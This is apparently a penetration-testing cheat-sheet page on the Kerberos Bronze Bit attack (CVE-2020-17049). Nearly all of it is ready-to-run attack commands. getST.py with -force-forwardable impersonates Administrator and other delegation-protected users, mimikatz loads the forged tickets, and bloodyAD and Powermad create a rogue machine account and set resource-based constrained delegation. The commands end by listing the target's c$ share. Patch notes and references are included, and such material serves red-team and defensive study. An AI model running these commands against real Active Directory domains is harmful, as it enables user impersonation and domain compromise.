# Kerberos - Bronze Bit

CVE-2020-17049

> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.
> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049).

:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`

Requirements:

* Service account's password hash
* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013)

**Attack #1** - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation.

```powershell
# forwardable flag is only protected by the ticket encryption which uses the service account's password 
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable

$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$
```

**Attack #2** - Write Permissions to one or more objects in the AD

* Windows/Linux:

    ```ps1
    bloodyAD -u user -p 'totoTOTOtoto1234*' -d test.local --host 10.100.10.5 add computer AttackerService 'AttackerServicePassword'
    bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d test.local add rbcd 'Service2$' 'AttackerService$'

    # Execute the attack
    getST.py -spn cifs/Service2.test.local -impersonate User2 -dc-ip 10.100.10.5 -force-forwardable 'test.local/AttackerService$:AttackerServicePassword'
    ```

* Windows only:

    ```powershell
    # Create a new machine account
    Import-Module .\Powermad\powermad.ps1
    New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
    .\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

    # Set PrincipalsAllowedToDelegateToAccount
    Install-WindowsFeature RSAT-AD-PowerShell
    Import-Module ActiveDirectory
    Get-ADComputer AttackerService
    Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
    Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

    # Execute the attack
    python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable

    # Load the ticket
    .\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
    ```

## References

* [CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/)
* [CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/)
* [Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise Active Directory](https://www.hub.trimarcsecurity.com/post/leveraging-the-kerberos-bronze-bit-attack-cve-2020-17049-scenarios-to-compromise-active-directory)
